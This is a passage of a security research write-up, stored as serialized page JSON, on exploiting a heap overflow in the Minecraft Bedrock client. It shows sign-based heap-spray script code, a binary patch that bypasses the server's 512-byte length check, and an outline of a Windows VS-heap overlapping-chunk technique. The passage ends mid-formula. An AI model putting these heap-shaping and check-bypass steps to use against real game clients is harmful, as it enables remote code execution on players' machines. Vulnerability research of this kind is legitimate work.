.",{"type":23,"tag":504,"props":149809,"children":149810},{"style":517},[149811],{"type":28,"value":149812},"getDimension",{"type":23,"tag":504,"props":149814,"children":149815},{"style":523},[149816],{"type":28,"value":526},{"type":23,"tag":504,"props":149818,"children":149819},{"style":622},[149820],{"type":28,"value":149821},"\"overworld\"",{"type":23,"tag":504,"props":149823,"children":149824},{"style":523},[149825],{"type":28,"value":1192},{"type":23,"tag":504,"props":149827,"children":149828},{"class":506,"line":1276},[149829,149833,149838,149842,149847],{"type":23,"tag":504,"props":149830,"children":149831},{"style":523},[149832],{"type":28,"value":149807},{"type":23,"tag":504,"props":149834,"children":149835},{"style":517},[149836],{"type":28,"value":149837},"getBlock",{"type":23,"tag":504,"props":149839,"children":149840},{"style":523},[149841],{"type":28,"value":526},{"type":23,"tag":504,"props":149843,"children":149844},{"style":529},[149845],{"type":28,"value":149846},"sign_location",{"type":23,"tag":504,"props":149848,"children":149849},{"style":523},[149850],{"type":28,"value":630},{"type":23,"tag":504,"props":149852,"children":149853},{"class":506,"line":1285},[149854,149859,149863,149867],{"type":23,"tag":504,"props":149855,"children":149856},{"style":529},[149857],{"type":28,"value":149858},"            sign_block",{"type":23,"tag":504,"props":149860,"children":149861},{"style":523},[149862],{"type":28,"value":320},{"type":23,"tag":504,"props":149864,"children":149865},{"style":517},[149866],{"type":28,"value":149465},{"type":23,"tag":504,"props":149868,"children":149869},{"style":523},[149870],{"type":28,"value":2439},{"type":23,"tag":504,"props":149872,"children":149873},{"class":506,"line":1294},[149874,149879,149883,149887,149891,149896],{"type":23,"tag":504,"props":149875,"children":149876},{"style":529},[149877],{"type":28,"value":149878},"                BlockPermutation",{"type":23,"tag":504,"props":149880,"children":149881},{"style":523},[149882],{"type":28,"value":320},{"type":23,"tag":504,"props":149884,"children":149885},{"style":517},[149886],{"type":28,"value":149486},{"type":23,"tag":504,"props":149888,"children":149889},{"style":523},[149890],{"type":28,"value":526},{"type":23,"tag":504,"props":149892,"children":149893},{"style":622},[149894],{"type":28,"value":149895},"\"minecraft:wall_sign\"",{"type":23,"tag":504,"props":149897,"children":149898},{"style":523},[149899],{"type":28,"value":47861},{"type":23,"tag":504,"props":149901,"children":149902},{"class":506,"line":1302},[149903,149908],{"type":23,"tag":504,"props":149904,"children":149905},{"style":529},[149906],{"type":28,"value":149907},"                    facing_direction:",{"type":23,"tag":504,"props":149909,"children":149910},{"style":1440},[149911],{"type":28,"value":18308},{"type":23,"tag":504,"props":149913,"children":149914},{"class":506,"line":1311},[149915],{"type":23,"tag":504,"props":149916,"children":149917},{"style":523},[149918],{"type":28,"value":1714},{"type":23,"tag":504,"props":149920,"children":149921},{"class":506,"line":1334},[149922],{"type":23,"tag":504,"props":149923,"children":149924},{"style":523},[149925],{"type":28,"value":149926},"            ));\n",{"type":23,"tag":504,"props":149928,"children":149929},{"class":506,"line":1370},[149930,149935,149940,149944],{"type":23,"tag":504,"props":149931,"children":149932},{"style":511},[149933],{"type":28,"value":149934},"            let",{"type":23,"tag":504,"props":149936,"children":149937},{"style":529},[149938],{"type":28,"value":149939}," sign_component",{"type":23,"tag":504,"props":149941,"children":149942},{"style":598},[149943],{"type":28,"value":648},{"type":23,"tag":504,"props":149945,"children":149946},{"style":529},[149947],{"type":28,"value":149948}," sign_block\n",{"type":23,"tag":504,"props":149950,"children":149951},{"class":506,"line":1384},[149952,149956,149961,149965,149970,149974,149979],{"type":23,"tag":504,"props":149953,"children":149954},{"style":523},[149955],{"type":28,"value":149807},{"type":23,"tag":504,"props":149957,"children":149958},{"style":517},[149959],{"type":28,"value":149960},"getComponent",{"type":23,"tag":504,"props":149962,"children":149963},{"style":523},[149964],{"type":28,"value":526},{"type":23,"tag":504,"props":149966,"children":149967},{"style":529},[149968],{"type":28,"value":149969},"BlockComponentTypes",{"type":23,"tag":504,"props":149971,"children":149972},{"style":523},[149973],{"type":28,"value":320},{"type":23,"tag":504,"props":149975,"children":149976},{"style":529},[149977],{"type":28,"value":149978},"Sign",{"type":23,"tag":504,"props":149980,"children":149981},{"style":523},[149982],{"type":28,"value":630},{"type":23,"tag":504,"props":149984,"children":149985},{"class":506,"line":1392},[149986],{"type":23,"tag":504,"props":149987,"children":149988},{"emptyLinePlaceholder":16},[149989],{"type":28,"value":1038},{"type":23,"tag":504,"props":149991,"children":149992},{"class":506,"line":1400},[149993,149998,150002,150006],{"type":23,"tag":504,"props":149994,"children":149995},{"style":529},[149996],{"type":28,"value":149997},"            signs",{"type":23,"tag":504,"props":149999,"children":150000},{"style":523},[150001],{"type":28,"value":320},{"type":23,"tag":504,"props":150003,"children":150004},{"style":517},[150005],{"type":28,"value":2790},{"type":23,"tag":504,"props":150007,"children":150008},{"style":523},[150009],{"type":28,"value":14120},{"type":23,"tag":504,"props":150011,"children":150012},{"class":506,"line":1422},[150013,150018,150022],{"type":23,"tag":504,"props":150014,"children":150015},{"style":529},[150016],{"type":28,"value":150017},"                sign:",{"type":23,"tag":504,"props":150019,"children":150020},{"style":529},[150021],{"type":28,"value":149939},{"type":23,"tag":504,"props":150023,"children":150024},{"style":523},[150025],{"type":28,"value":2484},{"type":23,"tag":504,"props":150027,"children":150028},{"class":506,"line":1450},[150029,150034,150038],{"type":23,"tag":504,"props":150030,"children":150031},{"style":529},[150032],{"type":28,"value":150033},"                allocated:",{"type":23,"tag":504,"props":150035,"children":150036},{"style":511},[150037],{"type":28,"value":8041},{"type":23,"tag":504,"props":150039,"children":150040},{"style":523},[150041],{"type":28,"value":2484},{"type":23,"tag":504,"props":150043,"children":150044},{"class":506,"line":1463},[150045,150050,150054],{"type":23,"tag":504,"props":150046,"children":150047},{"style":529},[150048],{"type":28,"value":150049},"                block:",{"type":23,"tag":504,"props":150051,"children":150052},{"style":529},[150053],{"type":28,"value":149790},{"type":23,"tag":504,"props":150055,"children":150056},{"style":523},[150057],{"type":28,"value":2484},{"type":23,"tag":504,"props":150059,"children":150060},{"class":506,"line":1485},[150061,150066],{"type":23,"tag":504,"props":150062,"children":150063},{"style":529},[150064],{"type":28,"value":150065},"                removed:",{"type":23,"tag":504,"props":150067,"children":150068},{"style":511},[150069],{"type":28,"value":11293},{"type":23,"tag":504,"props":150071,"children":150072},{"class":506,"line":1503},[150073],{"type":23,"tag":504,"props":150074,"children":150075},{"style":523},[150076],{"type":28,"value":150077},"            });\n",{"type":23,"tag":504,"props":150079,"children":150080},{"class":506,"line":1516},[150081],{"type":23,"tag":504,"props":150082,"children":150083},{"style":523},[150084],{"type":28,"value":1291},{"type":23,"tag":504,"props":150086,"children":150087},{"class":506,"line":1543},[150088],{"type":23,"tag":504,"props":150089,"children":150090},{"style":523},[150091],{"type":28,"value":875},{"type":23,"tag":504,"props":150093,"children":150094},{"class":506,"line":1583},[150095],{"type":23,"tag":504,"props":150096,"children":150097},{"style":523},[150098],{"type":28,"value":884},{"type":23,"tag":504,"props":150100,"children":150101},{"class":506,"line":1605},[150102],{"type":23,"tag":504,"props":150103,"children":150104},{"emptyLinePlaceholder":16},[150105],{"type":28,"value":1038},{"type":23,"tag":504,"props":150107,"children":150108},{"class":506,"line":1614},[150109,150113,150118],{"type":23,"tag":504,"props":150110,"children":150111},{"style":511},[150112],{"type":28,"value":514},{"type":23,"tag":504,"props":150114,"children":150115},{"style":517},[150116],{"type":28,"value":150117}," remove_wall",{"type":23,"tag":504,"props":150119,"children":150120},{"style":523},[150121],{"type":28,"value":1030},{"type":23,"tag":504,"props":150123,"children":150124},{"class":506,"line":1627},[150125,150129,150133],{"type":23,"tag":504,"props":150126,"children":150127},{"style":529},[150128],{"type":28,"value":149606},{"type":23,"tag":504,"props":150130,"children":150131},{"style":598},[150132],{"type":28,"value":648},{"type":23,"tag":504,"props":150134,"children":150135},{"style":523},[150136],{"type":28,"value":149615},{"type":23,"tag":504,"props":150138,"children":150139},{"class":506,"line":1655},[150140],{"type":23,"tag":504,"props":150141,"children":150142},{"style":523},[150143],{"type":28,"value":60765},{"type":23,"tag":504,"props":150145,"children":150146},{"class":506,"line":1668},[150147,150151,150155,150159,150163,150167,150171,150175,150179,150183,150187,150191,150195,150199],{"type":23,"tag":504,"props":150148,"children":150149},{"style":544},[150150],{"type":28,"value":2008},{"type":23,"tag":504,"props":150152,"children":150153},{"style":523},[150154],{"type":28,"value":801},{"type":23,"tag":504,"props":150156,"children":150157},{"style":511},[150158],{"type":28,"value":10769},{"type":23,"tag":504,"props":150160,"children":150161},{"style":529},[150162],{"type":28,"value":149642},{"type":23,"tag":504,"props":150164,"children":150165},{"style":598},[150166],{"type":28,"value":648},{"type":23,"tag":504,"props":150168,"children":150169},{"style":1440},[150170],{"type":28,"value":2023},{"type":23,"tag":504,"props":150172,"children":150173},{"style":523},[150174],{"type":28,"value":16206},{"type":23,"tag":504,"props":150176,"children":150177},{"style":529},[150178],{"type":28,"value":149659},{"type":23,"tag":504,"props":150180,"children":150181},{"style":598},[150182],{"type":28,"value":7702},{"type":23,"tag":504,"props":150184,"children":150185},{"style":529},[150186],{"type":28,"value":149668},{"type":23,"tag":504,"props":150188,"children":150189},{"style":523},[150190],{"type":28,"value":16206},{"type":23,"tag":504,"props":150192,"children":150193},{"style":529},[150194],{"type":28,"value":149659},{"type":23,"tag":504,"props":150196,"children":150197},{"style":598},[150198],{"type":28,"value":50248},{"type":23,"tag":504,"props":150200,"children":150201},{"style":523},[150202],{"type":28,"value":537},{"type":23,"tag":504,"props":150204,"children":150205},{"class":506,"line":1682},[150206,150210,150214,150218,150222,150226,150230,150234,150238,150242,150246,150250,150254,150258],{"type":23,"tag":504,"props":150207,"children":150208},{"style":544},[150209],{"type":28,"value":59555},{"type":23,"tag":504,"props":150211,"children":150212},{"style":523},[150213],{"type":28,"value":801},{"type":23,"tag":504,"props":150215,"children":150216},{"style":511},[150217],{"type":28,"value":10769},{"type":23,"tag":504,"props":150219,"children":150220},{"style":529},[150221],{"type":28,"value":149704},{"type":23,"tag":504,"props":150223,"children":150224},{"style":598},[150225],{"type":28,"value":648},{"type":23,"tag":504,"props":150227,"children":150228},{"style":1440},[150229],{"type":28,"value":2023},{"type":23,"tag":504,"props":150231,"children":150232},{"style":523},[150233],{"type":28,"value":16206},{"type":23,"tag":504,"props":150235,"children":150236},{"style":529},[150237],{"type":28,"value":149721},{"type":23,"tag":504,"props":150239,"children":150240},{"style":598},[150241],{"type":28,"value":7702},{"type":23,"tag":504,"props":150243,"children":150244},{"style":529},[150245],{"type":28,"value":149730},{"type":23,"tag":504,"props":150247,"children":150248},{"style":523},[150249],{"type":28,"value":16206},{"type":23,"tag":504,"props":150251,"children":150252},{"style":529},[150253],{"type":28,"value":149721},{"type":23,"tag":504,"props":150255,"children":150256},{"style":598},[150257],{"type":28,"value":50248},{"type":23,"tag":504,"props":150259,"children":150260},{"style":523},[150261],{"type":28,"value":537},{"type":23,"tag":504,"props":150263,"children":150264},{"class":506,"line":1691},[150265],{"type":23,"tag":504,"props":150266,"children":150267},{"style":523},[150268],{"type":28,"value":149777},{"type":23,"tag":504,"props":150270,"children":150271},{"class":506,"line":1699},[150272,150276,150280],{"type":23,"tag":504,"props":150273,"children":150274},{"style":523},[150275],{"type":28,"value":149761},{"type":23,"tag":504,"props":150277,"children":150278},{"style":598},[150279],{"type":28,"value":8572},{"type":23,"tag":504,"props":150281,"children":150282},{"style":523},[150283],{"type":28,"value":10754},{"type":23,"tag":504,"props":150285,"children":150286},{"class":506,"line":1708},[150287],{"type":23,"tag":504,"props":150288,"children":150289},{"style":523},[150290],{"type":28,"value":150291},"             \n",{"type":23,"tag":504,"props":150293,"children":150294},{"class":506,"line":1717},[150295,150299,150303,150307,150311,150316],{"type":23,"tag":504,"props":150296,"children":150297},{"style":511},[150298],{"type":28,"value":149785},{"type":23,"tag":504,"props":150300,"children":150301},{"style":529},[150302],{"type":28,"value":149790},{"type":23,"tag":504,"props":150304,"children":150305},{"style":598},[150306],{"type":28,"value":648},{"type":23,"tag":504,"props":150308,"children":150309},{"style":544},[150310],{"type":28,"value":35188},{"type":23,"tag":504,"props":150312,"children":150313},{"style":517},[150314],{"type":28,"value":150315}," wait_for_block",{"type":23,"tag":504,"props":150317,"children":150318},{"style":523},[150319],{"type":28,"value":2439},{"type":23,"tag":504,"props":150321,"children":150322},{"class":506,"line":1725},[150323,150328,150332,150336,150340,150344],{"type":23,"tag":504,"props":150324,"children":150325},{"style":529},[150326],{"type":28,"value":150327},"                world",{"type":23,"tag":504,"props":150329,"children":150330},{"style":523},[150331],{"type":28,"value":320},{"type":23,"tag":504,"props":150333,"children":150334},{"style":517},[150335],{"type":28,"value":149812},{"type":23,"tag":504,"props":150337,"children":150338},{"style":523},[150339],{"type":28,"value":526},{"type":23,"tag":504,"props":150341,"children":150342},{"style":622},[150343],{"type":28,"value":149821},{"type":23,"tag":504,"props":150345,"children":150346},{"style":523},[150347],{"type":28,"value":5720},{"type":23,"tag":504,"props":150349,"children":150350},{"class":506,"line":1757},[150351],{"type":23,"tag":504,"props":150352,"children":150353},{"style":529},[150354],{"type":28,"value":150355},"                sign_location\n",{"type":23,"tag":504,"props":150357,"children":150358},{"class":506,"line":1765},[150359],{"type":23,"tag":504,"props":150360,"children":150361},{"style":523},[150362],{"type":28,"value":123865},{"type":23,"tag":504,"props":150364,"children":150365},{"class":506,"line":22762},[150366,150370,150374,150378],{"type":23,"tag":504,"props":150367,"children":150368},{"style":529},[150369],{"type":28,"value":149858},{"type":23,"tag":504,"props":150371,"children":150372},{"style":523},[150373],{"type":28,"value":320},{"type":23,"tag":504,"props":150375,"children":150376},{"style":517},[150377],{"type":28,"value":149465},{"type":23,"tag":504,"props":150379,"children":150380},{"style":523},[150381],{"type":28,"value":2439},{"type":23,"tag":504,"props":150383,"children":150384},{"class":506,"line":22799},[150385,150389,150393,150397,150401,150405],{"type":23,"tag":504,"props":150386,"children":150387},{"style":529},[150388],{"type":28,"value":149878},{"type":23,"tag":504,"props":150390,"children":150391},{"style":523},[150392],{"type":28,"value":320},{"type":23,"tag":504,"props":150394,"children":150395},{"style":517},[150396],{"type":28,"value":149486},{"type":23,"tag":504,"props":150398,"children":150399},{"style":523},[150400],{"type":28,"value":526},{"type":23,"tag":504,"props":150402,"children":150403},{"style":622},[150404],{"type":28,"value":149495},{"type":23,"tag":504,"props":150406,"children":150407},{"style":523},[150408],{"type":28,"value":1192},{"type":23,"tag":504,"props":150410,"children":150411},{"class":506,"line":22812},[150412],{"type":23,"tag":504,"props":150413,"children":150414},{"style":523},[150415],{"type":28,"value":123865},{"type":23,"tag":504,"props":150417,"children":150418},{"class":506,"line":22825},[150419],{"type":23,"tag":504,"props":150420,"children":150421},{"emptyLinePlaceholder":16},[150422],{"type":28,"value":1038},{"type":23,"tag":504,"props":150424,"children":150425},{"class":506,"line":22838},[150426,150430,150434],{"type":23,"tag":504,"props":150427,"children":150428},{"style":523},[150429],{"type":28,"value":149761},{"type":23,"tag":504,"props":150431,"children":150432},{"style":598},[150433],{"type":28,"value":8572},{"type":23,"tag":504,"props":150435,"children":150436},{"style":523},[150437],{"type":28,"value":10754},{"type":23,"tag":504,"props":150439,"children":150440},{"class":506,"line":22892},[150441],{"type":23,"tag":504,"props":150442,"children":150443},{"style":523},[150444],{"type":28,"value":1291},{"type":23,"tag":504,"props":150446,"children":150447},{"class":506,"line":22901},[150448],{"type":23,"tag":504,"props":150449,"children":150450},{"style":523},[150451],{"type":28,"value":875},{"type":23,"tag":504,"props":150453,"children":150454},{"class":506,"line":31258},[150455],{"type":23,"tag":504,"props":150456,"children":150457},{"style":523},[150458],{"type":28,"value":884},{"type":23,"tag":504,"props":150460,"children":150461},{"class":506,"line":31279},[150462],{"type":23,"tag":504,"props":150463,"children":150464},{"emptyLinePlaceholder":16},[150465],{"type":28,"value":1038},{"type":23,"tag":504,"props":150467,"children":150468},{"class":506,"line":79702},[150469,150474,150478,150483,150487,150492,150496,150501,150505,150510,150514,150518],{"type":23,"tag":504,"props":150470,"children":150471},{"style":529},[150472],{"type":28,"value":150473},"world",{"type":23,"tag":504,"props":150475,"children":150476},{"style":523},[150477],{"type":28,"value":320},{"type":23,"tag":504,"props":150479,"children":150480},{"style":529},[150481],{"type":28,"value":150482},"afterEvents",{"type":23,"tag":504,"props":150484,"children":150485},{"style":523},[150486],{"type":28,"value":320},{"type":23,"tag":504,"props":150488,"children":150489},{"style":529},[150490],{"type":28,"value":150491},"playerSpawn",{"type":23,"tag":504,"props":150493,"children":150494},{"style":523},[150495],{"type":28,"value":320},{"type":23,"tag":504,"props":150497,"children":150498},{"style":517},[150499],{"type":28,"value":150500},"subscribe",{"type":23,"tag":504,"props":150502,"children":150503},{"style":523},[150504],{"type":28,"value":30501},{"type":23,"tag":504,"props":150506,"children":150507},{"style":529},[150508],{"type":28,"value":150509},"arg",{"type":23,"tag":504,"props":150511,"children":150512},{"style":523},[150513],{"type":28,"value":2064},{"type":23,"tag":504,"props":150515,"children":150516},{"style":511},[150517],{"type":28,"value":13802},{"type":23,"tag":504,"props":150519,"children":150520},{"style":523},[150521],{"type":28,"value":552},{"type":23,"tag":504,"props":150523,"children":150524},{"class":506,"line":79715},[150525,150530],{"type":23,"tag":504,"props":150526,"children":150527},{"style":517},[150528],{"type":28,"value":150529},"    create_wall",{"type":23,"tag":504,"props":150531,"children":150532},{"style":523},[150533],{"type":28,"value":2647},{"type":23,"tag":504,"props":150535,"children":150536},{"class":506,"line":79723},[150537],{"type":23,"tag":504,"props":150538,"children":150539},{"style":523},[150540],{"type":28,"value":34314},{"type":23,"tag":504,"props":150542,"children":150543},{"class":506,"line":79731},[150544],{"type":23,"tag":504,"props":150545,"children":150546},{"emptyLinePlaceholder":16},[150547],{"type":28,"value":1038},{"type":23,"tag":504,"props":150549,"children":150550},{"class":506,"line":79739},[150551,150555,150559,150564,150568,150573,150577,150581,150585,150589,150593,150597,150601,150605],{"type":23,"tag":504,"props":150552,"children":150553},{"style":529},[150554],{"type":28,"value":150473},{"type":23,"tag":504,"props":150556,"children":150557},{"style":523},[150558],{"type":28,"value":320},{"type":23,"tag":504,"props":150560,"children":150561},{"style":529},[150562],{"type":28,"value":150563},"beforeEvents",{"type":23,"tag":504,"props":150565,"children":150566},{"style":523},[150567],{"type":28,"value":320},{"type":23,"tag":504,"props":150569,"children":150570},{"style":529},[150571],{"type":28,"value":150572},"playerLeave",{"type":23,"tag":504,"props":150574,"children":150575},{"style":523},[150576],{"type":28,"value":320},{"type":23,"tag":504,"props":150578,"children":150579},{"style":517},[150580],{"type":28,"value":150500},{"type":23,"tag":504,"props":150582,"children":150583},{"style":523},[150584],{"type":28,"value":526},{"type":23,"tag":504,"props":150586,"children":150587},{"style":511},[150588],{"type":28,"value":35122},{"type":23,"tag":504,"props":150590,"children":150591},{"style":523},[150592],{"type":28,"value":801},{"type":23,"tag":504,"props":150594,"children":150595},{"style":529},[150596],{"type":28,"value":150509},{"type":23,"tag":504,"props":150598,"children":150599},{"style":523},[150600],{"type":28,"value":2064},{"type":23,"tag":504,"props":150602,"children":150603},{"style":511},[150604],{"type":28,"value":13802},{"type":23,"tag":504,"props":150606,"children":150607},{"style":523},[150608],{"type":28,"value":552},{"type":23,"tag":504,"props":150610,"children":150611},{"class":506,"line":79779},[150612,150617],{"type":23,"tag":504,"props":150613,"children":150614},{"style":517},[150615],{"type":28,"value":150616},"    remove_wall",{"type":23,"tag":504,"props":150618,"children":150619},{"style":523},[150620],{"type":28,"value":2647},{"type":23,"tag":504,"props":150622,"children":150623},{"class":506,"line":79787},[150624],{"type":23,"tag":504,"props":150625,"children":150626},{"style":523},[150627],{"type":28,"value":34314},{"type":23,"tag":24,"props":150629,"children":150630},{},[150631],{"type":28,"value":150632},"This works well and produces a structure that the client ideally should not render - displaying and repeatedly updating this many signs during the spray would stall the client, which we want to avoid.",{"type":23,"tag":24,"props":150634,"children":150635},{},[150636],{"type":23,"tag":126,"props":150637,"children":150640},{"alt":150638,"src":150639},"image-min","/posts/minecraft-heap-overflow-to-rce/image3.png",[],{"type":23,"tag":24,"props":150642,"children":150643},{},[150644],{"type":28,"value":150645},"Preventing the client from rendering the sign wall is as simple as adjusting player’s view angle each tick, essentially forcing the client to look in the opposite direction of the sign wall.",{"type":23,"tag":17874,"props":150647,"children":150649},{"id":150648},"a-small-roadblock",[150650],{"type":28,"value":150651},"A Small Roadblock",{"type":23,"tag":24,"props":150653,"children":150654},{},[150655],{"type":28,"value":150656},"While testing our heap spray method, we encountered the following error:",{"type":23,"tag":494,"props":150658,"children":150660},{"code":150659},"[Scripting] Error: Provided message is too long.\nMax length is 512 and the provided message has length of 1024.\n    at alloc (index.js:169)\n",[150661],{"type":23,"tag":56,"props":150662,"children":150663},{"__ignoreMap":7},[150664],{"type":28,"value":150659},{"type":23,"tag":24,"props":150666,"children":150667},{},[150668,150670,150676],{"type":28,"value":150669},"An error is thrown by the server executable while trying to assign text longer than ",{"type":23,"tag":56,"props":150671,"children":150673},{"className":150672},[],[150674],{"type":28,"value":150675},"512",{"type":28,"value":150677}," bytes to a sign. This severely limits our approach, as it prevents us from spraying the VS heap with large chunks needed for the mentioned chunk-overlap technique.",{"type":23,"tag":24,"props":150679,"children":150680},{},[150681],{"type":28,"value":150682},"Before abandoning the idea entirely, we considered one possibility: perhaps this check only occurs server-side, and the client might not validate the length of the data it receives.",{"type":23,"tag":24,"props":150684,"children":150685},{},[150686],{"type":28,"value":150687},"We searched for the error message in the Bedrock server executable and located the length-validation logic:",{"type":23,"tag":24,"props":150689,"children":150690},{},[150691],{"type":23,"tag":126,"props":150692,"children":150694},{"alt":128,"src":150693},"/posts/minecraft-heap-overflow-to-rce/image4.png",[],{"type":23,"tag":24,"props":150696,"children":150697},{},[150698,150700,150706],{"type":28,"value":150699},"Although the involved functions are unnamed, it’s clear that we always want execution to take the ",{"type":23,"tag":56,"props":150701,"children":150703},{"className":150702},[],[150704],{"type":28,"value":150705},"string_length \u003C= 512",{"type":28,"value":150707}," branch, regardless of the actual length. Otherwise, the error is thrown and the client never allocates the desired chunk.",{"type":23,"tag":24,"props":150709,"children":150710},{},[150711],{"type":28,"value":150712},"The disassembly of the comparison looks like this:",{"type":23,"tag":24,"props":150714,"children":150715},{},[150716],{"type":23,"tag":126,"props":150717,"children":150719},{"alt":128,"src":150718},"/posts/minecraft-heap-overflow-to-rce/image5.png",[],{"type":23,"tag":24,"props":150721,"children":150722},{},[150723,150725,150730,150732,150737,150738,150743,150745,150751,150753,150759,150761,150766,150768,150773],{"type":28,"value":150724},"The code compares ",{"type":23,"tag":56,"props":150726,"children":150728},{"className":150727},[],[150729],{"type":28,"value":55753},{"type":28,"value":150731}," (the string length) to ",{"type":23,"tag":56,"props":150733,"children":150735},{"className":150734},[],[150736],{"type":28,"value":126565},{"type":28,"value":801},{"type":23,"tag":56,"props":150739,"children":150741},{"className":150740},[],[150742],{"type":28,"value":150675},{"type":28,"value":150744}," decimal). It then performs a ",{"type":23,"tag":56,"props":150746,"children":150748},{"className":150747},[],[150749],{"type":28,"value":150750},"jbe",{"type":28,"value":150752},", jumping to address ",{"type":23,"tag":56,"props":150754,"children":150756},{"className":150755},[],[150757],{"type":28,"value":150758},"0x14275114c",{"type":28,"value":150760}," if ",{"type":23,"tag":56,"props":150762,"children":150764},{"className":150763},[],[150765],{"type":28,"value":55753},{"type":28,"value":150767}," is less than or equal to ",{"type":23,"tag":56,"props":150769,"children":150771},{"className":150770},[],[150772],{"type":28,"value":150675},{"type":28,"value":150774},". That target location contains the logic that instructs the client to update the sign text - the branch we want to reach every time.",{"type":23,"tag":24,"props":150776,"children":150777},{},[150778,150780,150785,150787,150793],{"type":28,"value":150779},"To force execution down this path, we patched the ",{"type":23,"tag":56,"props":150781,"children":150783},{"className":150782},[],[150784],{"type":28,"value":150750},{"type":28,"value":150786}," instruction to an unconditional ",{"type":23,"tag":56,"props":150788,"children":150790},{"className":150789},[],[150791],{"type":28,"value":150792},"jmp",{"type":28,"value":150794},", ensuring the correct branch is always taken, regardless of the comparison result.",{"type":23,"tag":24,"props":150796,"children":150797},{},[150798],{"type":23,"tag":126,"props":150799,"children":150801},{"alt":128,"src":150800},"/posts/minecraft-heap-overflow-to-rce/image6.png",[],{"type":23,"tag":24,"props":150803,"children":150804},{},[150805,150807,150812,150814,150819],{"type":28,"value":150806},"After patching the server and calling ",{"type":23,"tag":56,"props":150808,"children":150810},{"className":150809},[],[150811],{"type":28,"value":148916},{"type":28,"value":150813}," with a size of ",{"type":23,"tag":56,"props":150815,"children":150817},{"className":150816},[],[150818],{"type":28,"value":57127},{"type":28,"value":150820},", the operation now executes successfully, and the client happily allocates a chunk of that size:",{"type":23,"tag":24,"props":150822,"children":150823},{},[150824],{"type":23,"tag":126,"props":150825,"children":150827},{"alt":128,"src":150826},"/posts/minecraft-heap-overflow-to-rce/image7.png",[],{"type":23,"tag":17774,"props":150829,"children":150830},{},[],{"type":23,"tag":24,"props":150832,"children":150833},{},[150834],{"type":28,"value":150835},"Having a way to spray the heap is great - we can now use the previously mentioned technique to create overlapping chunks in the VS heap, or use it to shape the LFH so that the 4-byte overflow can overwrite an internal Minecraft structure.",{"type":23,"tag":24,"props":150837,"children":150838},{},[150839],{"type":28,"value":150840},"At the time, we couldn't find any useful Minecraft structures to abuse with just a 4-byte OOB write, so we worked on getting overlapping chunks instead.",{"type":23,"tag":82,"props":150842,"children":150844},{"id":150843},"overlapping-heap-chunks",[150845],{"type":28,"value":150846},"Overlapping Heap Chunks",{"type":23,"tag":24,"props":150848,"children":150849},{},[150850,150852,150857],{"type":28,"value":150851},"The attack is described in detail in the referenced blog post (",{"type":23,"tag":92,"props":150853,"children":150855},{"href":148660,"rel":150854},[96],[150856],{"type":28,"value":46564},{"type":28,"value":150858},"), so we will present a high-level overview.",{"type":23,"tag":24,"props":150860,"children":150861},{},[150862,150864,150870],{"type":28,"value":150863},"The core idea is to insert a large chunk that overlaps other chunks above it into the free list. To understand this, some basic knowledge of ",{"type":23,"tag":56,"props":150865,"children":150867},{"className":150866},[],[150868],{"type":28,"value":150869},"_HEAP_VS_CHUNK_HEADER",{"type":28,"value":150871}," structure layout is required:",{"type":23,"tag":494,"props":150873,"children":150875},{"code":150874},"     +---------------------------+           +---------------+\n+0x0 |_HEAP_VS_CHUNK_HEADER_SIZE +----> +0x0 |MemoryCost     |\n     +---------------------------+           +---------------+\n+0x8 |EncodedSegmentPageOffset   |      +0x2 |UnsafeSize     |\n     +---------------------------+           +---------------+\n+0x8 |UnusedBytes                |      +0x4 |UnsafePrevSize |\n     +---------------------------+           +---------------+\n     |           . . .           |      +0x6 |Allocated      |\n                                             +---------------+\n                                             |     . . .     |\n",[150876],{"type":23,"tag":56,"props":150877,"children":150878},{"__ignoreMap":7},[150879],{"type":28,"value":150874},{"type":23,"tag":24,"props":150881,"children":150882},{},[150883,150885,150891,150893,150899,150900,150906,150907,150913,150915,150920,150922,150927,150929,150935,150937,150942,150944,150950],{"type":28,"value":150884},"At offset 0 there is a header ",{"type":23,"tag":56,"props":150886,"children":150888},{"className":150887},[],[150889],{"type":28,"value":150890},"_HEAP_VS_CHUNK_HEADER_SIZE",{"type":28,"value":150892}," containing fields such as ",{"type":23,"tag":56,"props":150894,"children":150896},{"className":150895},[],[150897],{"type":28,"value":150898},"MemoryCost",{"type":28,"value":576},{"type":23,"tag":56,"props":150901,"children":150903},{"className":150902},[],[150904],{"type":28,"value":150905},"UnsafeSize",{"type":28,"value":576},{"type":23,"tag":56,"props":150908,"children":150910},{"className":150909},[],[150911],{"type":28,"value":150912},"UnsafePrevSize",{"type":28,"value":150914},", etc. For the attack we only care about the ",{"type":23,"tag":56,"props":150916,"children":150918},{"className":150917},[],[150919],{"type":28,"value":150905},{"type":28,"value":150921}," field: it holds the size of the chunk as its value. Specifically the value is size divided by ",{"type":23,"tag":56,"props":150923,"children":150925},{"className":150924},[],[150926],{"type":28,"value":125188},{"type":28,"value":150928},", so for a chunk of size ",{"type":23,"tag":56,"props":150930,"children":150932},{"className":150931},[],[150933],{"type":28,"value":150934},"0x4010",{"type":28,"value":150936}," the value of ",{"type":23,"tag":56,"props":150938,"children":150940},{"className":150939},[],[150941],{"type":28,"value":150905},{"type":28,"value":150943}," would be ",{"type":23,"tag":56,"props":150945,"children":150947},{"className":150946},[],[150948],{"type":28,"value":150949},"0x401",{"type":28,"value":320},{"type":23,"tag":24,"props":150952,"children":150953},{},[150954,150955,150960],{"type":28,"value":63196},{"type":23,"tag":56,"props":150956,"children":150958},{"className":150957},[],[150959],{"type":28,"value":150905},{"type":28,"value":150961}," field is a 2-byte field located at offset 0x2 relative to the header. Because of that, it can be fully overwritten by the final two bytes of the 4-byte OOB write.",{"type":23,"tag":24,"props":150963,"children":150964},{},[150965,150967,150972,150974,150979,150981,150987,150989,150994],{"type":28,"value":150966},"The field is encoded with a random key that we do not know, so the exact bytes which we overwrite it with don't matter and the size after will be random. That said, by overwriting ",{"type":23,"tag":56,"props":150968,"children":150970},{"className":150969},[],[150971],{"type":28,"value":150905},{"type":28,"value":150973}," in the smallest possible VS chunk (",{"type":23,"tag":56,"props":150975,"children":150977},{"className":150976},[],[150978],{"type":28,"value":150934},{"type":28,"value":150980},"), we maximize the probability that the decoded size becomes larger than the original. Since the decoded size will be anywhere in ",{"type":23,"tag":56,"props":150982,"children":150984},{"className":150983},[],[150985],{"type":28,"value":150986},"[0x10, 0xffff0]",{"type":28,"value":150988}," range, the probability that it exceeds ",{"type":23,"tag":56,"props":150990,"children":150992},{"className":150991},[],[150993],{"type":28,"value":150934},{"type":28,"value":150995}," is:",{"type":23,"tag":494,"props":150997,"children":150999},{"code":150998},"1 - ((0x4010 - 0x10) / (0xffff0 - 0x10)) ~= 